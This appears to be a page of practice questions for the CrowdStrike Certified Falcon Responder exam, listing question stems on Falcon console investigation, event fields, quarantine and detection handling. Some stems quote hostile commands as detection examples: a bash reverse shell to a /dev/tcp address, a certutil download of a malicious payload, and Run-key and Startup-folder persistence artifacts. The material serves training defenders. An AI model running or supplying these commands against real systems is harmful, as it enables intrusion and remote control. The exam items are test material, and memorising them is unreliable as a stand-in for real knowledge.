CrowdStrike Certified Falcon Responder
Last Update Jul 26, 2026
Total Questions : 209
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When reviewing a Host Timeline, which of the following filters is available?
When examining raw event data, what is the purpose of the field called ParentProcessld_decimal?
During an advanced hunting session, a responder is writing a custom query in the Event Search tool to track the lineage of a suspicious process. They notice a field labeled TargetProcessId_decimal. Which of the following sentences accurately describes the technical significance of this value within the CrowdStrike telemetry ecosystem?
An analyst needs to quickly view the activity surrounding a suspicious process. Which of the following sequences of steps will pivot to an auto-filled process timeline in the Falcon UI?
After pivoting to an event search from a detection, you locate the ProcessRollup2 event. Which two field values are you required to obtain to perform a Process Timeline search so you can determine what the process was doing?
Refer to the image.
You receive the detection displayed in the image above on a host in your environment.
Assuming you have the correct permissions, where would you navigate to remotely connect to the host and investigate further?
In the ' Investigate > Hunt > Linux Sensors ' dashboard, responders can view various Linux-specific activities. Which of the following sub-titling is NOT displayed in this dashboard?
What must be true about a custom script before it can be executed from within a Fusion SOAR Workflow?
If a file has a prevalence of ' Local: Low ' and ' Global: High ' , what does this typically indicate to a responder?
To ensure that a malicious file cannot be accidentally executed or accessed by other processes, how are quarantined files stored on the local endpoints?
The Falcon sensor can take several automated actions to protect an endpoint. Which of the following is NOT an action that Falcon takes upon detection?
When examining a raw DNS request event, you see a field called ContextProcessld_decimal. What is the purpose of that field?
You are responding to a cybersecurity incident and observe several outbound network connections from host Bob-Desktop. Upon review, you determine this to be a result of a Threat Actor ' s attempt to exfiltrate data.
What action should you take to stop the exfiltration using the Falcon Platform?
A security analyst is triaging a high-severity alert on a critical production server. To understand the adversary ' s intent and technical execution within the framework of industry standards, the analyst refers to the console ' s categorization. Which specific methodology does CrowdStrike utilize within the Falcon platform to classify detections based on technical behavior?
Which of the following sentences best describes the primary use of ' Retrospective Analysis ' ?
The Falcon platform will show a maximum of how many detections per day for a single Agent Identifier (AID)?
On the Host Timeline dashboard, what built-in parameter would you modify in order to filter specific events in the timeline?
Refer to the image.
You are using Advanced Event Search to find the event record for a suspicious network connection.
Using the Event List Interactions button for the event, indicated by the arrow in the image above, which option will show all contextual event data around the process execution being investigated?
When a responder needs to take data out of the Falcon console for external analysis, which of the following is NOT an option when exporting searches?
Executive dashboards provide a high-level view of security. Which of the following CANNOT be seen from the Executive Summary Dashboard?
While most searches are accessible from a detection, some require a manual jump. Which search is not available as a direct pivot from a detection?
In various telemetry events like ' FileWrite ' or ' NetworkConnect ' , Falcon identifies the process that performed the action. Which field will always identify this " acting " process?
Data retention is a key factor in retrospective hunting. How long will " Detection Related Events " be retained in the Falcon environment?
While the host timeline is comprehensive, some data is not included in that specific view. Which of the following CANNOT be seen directly from the host timeline?
You can jump to a Process Timeline from many views, like a Hash Search, by clicking which of the following?
Which of the following sentences best describes the primary objective of ' Real-time Analysis ' within the Falcon platform?
While quarantined files stay on the local host for 30 days by default, how many days does a quarantined file remain stored in the CrowdStrike Cloud?
In the Falcon console, detections can be automated or manual. Which of the following options represents a manual detection?
When reviewing CrowdScore Incidents, which of the following statements is INCORRECT?
Analyze the following process lineage observed during a detection triage on a Windows 10 workstation:
root > smss.exe > winlogon.exe > userinit.exe > explorer.exe > windows_media_player_y35s21-4ak.exe.
Based on the fact that the suspicious process originated from the user ' s desktop shell environment (explorer.exe), what is the most likely entry vector for this attack?
CrowdStrike implements a specific framework within the Falcon console to help responders categorize detections based on the adversary’s ultimate goals and the technical means used to achieve them. This classification system, which maps activity to known industry standards, is known as the:
The Process Activity View provides a rows-and-columns style view of the events generated in a detection. Why might this be helpful?
A responder needs to view a high-level overview of the environment ' s security posture. Where can they find the ' Activity Dashboard ' ?
When an analyst downloads a quarantined file from the Falcon UI for offline analysis, what is the specific file format and the required password for extraction?
An analyst needs to perform local sandbox analysis on a malicious file. When they download a quarantined file from the Falcon UI, what is the file format and the default password?
Host Search is a powerful investigation tool. From which of the following sources is a responder most likely to pivot directly to a Host Search?
Refer to the image.
Command line:
/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1
File path:
/bin/bash
You receive a detection on the Bash process indicating the command line in the image above.
Based on the command line, what is the next step you should take?
To speed up investigations, Falcon uses ' event workflows ' . Which of the following sentences best describes what event workflows are?
You are notified by a third-party that a program may have redirected traffic to a malicious domain. Which Falcon page will assist you in searching for any domain request information related to this notice?
During the incident response process, a responder must update the status of a detection. Which of the following options is NOT a valid detection status recognized by the Falcon console?
After an investigation, the following malicious artifacts have been identified:
C:\Users*\AppData\iamnotmalware.exe
C:\Users*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iamnotmalware.lnk
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\iamnotmalware_really
What method will remove all associated artifacts from hosts that trigger future related detections?
How long does detection data remain in the CrowdStrike Cloud before purging begins?
An analyst wants to see the raw events behind a specific detection. Which icon in the UI allows them to pivot directly to an event search?
Following a detection involving a suspected ransomware binary, the Falcon sensor automatically takes a prevention action to prevent the file from executing. An analyst needs to retrieve this file for local sandbox analysis. Considering the default configuration, for how many days will this file remain stored in the encrypted quarantine folder on the local endpoint?
You receive a detection on certutil.exe executing the following command line:
certutil -urlcache -split -f " hxxps[:]//github[.] com/Endizz/Payloads/raw/main/MyMaliciousTools.zip " " MyMaliciousTools.zip "
What is the appropriate next step to discover how this occurred?
To understand how a threat moved on a system, a responder must know the role of common processes. Which of the following statements best describes the standard functionality of explorer.exe?
When viewing the summary list on the ' Endpoint Detections ' page, an analyst sees a column for the timestamp. What does the timestamp in this specific summary view represent?
Evaluate the following process tree observed in a detection:
root > smss.exe > winlogon.exe > userinit.exe > explorer.exe > windows_media_player_y35s21-4ak.exe
Based on the parent-child relationships, which entry source is most likely?
In the ' User Search - File Written ' section, a responder can see various files dropped by a user. Which of the following file types CANNOT be seen from this view?
TESTED 26 Jul 2026
